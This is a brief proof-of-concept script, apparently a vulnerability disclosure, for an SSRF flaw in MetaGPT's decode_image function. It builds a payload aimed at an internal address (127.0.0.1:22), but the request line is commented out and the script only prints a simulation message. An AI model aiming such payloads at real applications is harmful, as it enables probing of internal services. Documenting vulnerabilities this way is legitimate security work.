CVE-2026-6111 MetaGPT服务端请求伪造漏洞

# PoC for CVE-2026-6111 # This script demonstrates how a malicious URL could be passed # to the vulnerable decode_image function to trigger SSRF. import requests target_url = "http://127.0.0.1:22" # Example internal address payload = { "img_url_or_b64": target_url } # Assuming there is an endpoint that processes this input # response = requests.post("http://target-vulnerable-app/api/endpoint", json=payload) # print(f"Request sent to internal server: {target_url}") print(f"Simulating SSRF attack with payload: {payload}")